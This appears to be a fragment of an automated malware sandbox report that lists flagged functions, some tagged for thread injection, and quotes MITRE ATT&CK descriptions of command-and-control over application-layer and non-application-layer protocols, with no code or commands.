Function 014A9539 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 105
memoryCOMMON

Function 014A9540 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 101
memoryCOMMON

Function 014A9410 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97
threadinjectionCOMMON

Function 014A9418 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 94
threadinjectionCOMMON

Function 014AD999 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 92
COMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre